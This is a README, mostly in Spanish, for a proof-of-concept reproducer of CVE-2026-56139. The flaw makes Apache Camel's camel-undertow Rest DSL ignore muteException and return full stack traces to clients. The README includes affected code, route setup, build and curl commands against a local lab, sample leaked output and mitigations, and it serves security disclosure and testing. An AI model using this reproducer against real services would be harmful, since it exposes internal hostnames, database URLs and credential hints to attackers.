
Reproductor de PoC para CVE-2026-56139 (Apache Camel camel-undertow Rest DSL): el binding de Rest DSL codifica de forma fija muteException=false, por lo que un muteException=true configurado se ignora y la traza de pila completa de una excepción no capturada se devuelve al cliente (CWE-209). Corregido en 4.14.8/4.18.3/4.21.0.
Este proyecto demuestra un problema de divulgación de información en el consumidor Rest DSL de camel-undertow de Apache Camel, registrado como CVE-2026-56139. La opción muteException controla si el detalle de una excepción de procesamiento no capturada se devuelve al cliente HTTP. En un endpoint undertow normal la opción funciona, pero el Rest DSL de undertow crea su enlace de respuesta con muteException codificado a false y nunca copia el valor configurado, por lo que muteException se ignora silenciosamente en modo REST y la traza de pila Java completa se devuelve de todos modos:
// UndertowComponent (affected 4.18.2) — the Rest DSL binding is created without the endpoint's muteException
if (!map.containsKey("undertowHttpBinding")) {
endpoint.setUndertowHttpBinding(new RestUndertowHttpBinding(endpoint.isUseStreaming())); // muteException stays false
}
Dado que el undertowHttpBinding del endpoint ahora no es nulo, UndertowEndpoint.getUndertowHttpBinding() devuelve ese enlace REST tal cual y nunca ejecuta la rama que copia el muteException del endpoint sobre él. Por lo tanto, una ruta que establece explícitamente muteException=true sigue filtrando trazas de pila cuando se sirve a través del Rest DSL — divulgando nombres de host internos del backend, URLs de bases de datos, pistas de credenciales/cofres, versiones de librerías y ubicaciones de código fuente.
Este PoC demuestra el impacto como exposición de información a través de un mensaje de error (CWE-209). Es la contraparte específica para Rest DSL de CVE-2026-49365 (que corrigió el valor predeterminado de muteException para los endpoints camel-netty-http y camel-undertow normales); ambos se corrigieron juntos en CAMEL-23651.
Advisory: https://camel.apache.org/security/CVE-2026-56139.html
| Propiedad | Valor |
|---|---|
| Componente | camel-undertow (consumidor Rest DSL) |
| Clase afectada | org.apache.camel.component.undertow.UndertowComponent — crea RestUndertowHttpBinding sin copiar muteException (que por lo tanto tiene false por defecto) |
| CWE | CWE-209 (Generación de mensajes de error que contienen información sensible) |
| Impacto | Traza de pila Java completa devuelta a un cliente no autenticado incluso cuando está configurado muteException=true |
| Precondiciones | Un consumidor Rest DSL de undertow; cualquier solicitud que provoque una excepción de procesamiento |
| Versiones afectadas | Desde 4.0.0 antes de 4.14.8, desde 4.15.0 antes de 4.18.3, desde 4.19.0 antes de 4.21.0 |
| Versiones corregidas | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23651 (PR apache/camel#23913) |
| Crédito | Yu Bao (PayPal) |
La corrección hace que la ruta Rest DSL copie
endpoint.getMuteException()enRestUndertowHttpBinding, de modo que el Rest DSL respeta la configuración (y el valor predeterminado corregido detrue).
// Both configured with muteException=true (camel.component.undertow.mute-exception=true):
restConfiguration().component("undertow").host("0.0.0.0").port(8888);
rest("/api").get("/orders").to("direct:boom"); // Rest DSL — IGNORES muteException, leaks
from("direct:boom").process(new FailingProcessor());
from("undertow:http://0.0.0.0:8889/plain/orders") // plain endpoint — HONOURS muteException, empty body
.process(new FailingProcessor());
CVE-2026-56139/
├── pom.xml # camel-undertow 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── FailingProcessor.java # throws an exception carrying sensitive internal detail
│ ├── RestRoutes.java # undertow Rest DSL (:8888) + plain undertow endpoint (:8889)
│ └── ExploitController.java # attacker: GETs both, shows Rest DSL leaks while plain is muted
└── resources/
└── application.properties # camel.component.undertow.mute-exception=true
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) undertow Rest DSL :8888 (muteException=true, but the Rest binding hard-codes false)
HTTP 500
response body (NNNN bytes) — LEAKS internal detail:
| java.lang.IllegalStateException: Inventory lookup failed: cannot connect to
| jdbc:postgresql://prod-db.internal:5432/inventory (user=svc_inventory, ...)
| at com.example.FailingProcessor.process(FailingProcessor.java:...)
| ...[truncated]
2) plain undertow endpoint :8889 (same muteException=true — honoured)
HTTP 500
response body: <empty>
>>> Information disclosure: true
Actualice a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23651). Tras actualizar, el Rest DSL de undertow respeta muteException (y lo establece por defecto en true), por lo que la traza de pila no se devuelve.
Mientras tanto, añada un onException(...).handled(true) (o un manejador de errores global) que devuelva un mensaje genérico en lugar de la traza de pila, y no confíe únicamente en muteException para los consumidores Rest DSL de undertow.
Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.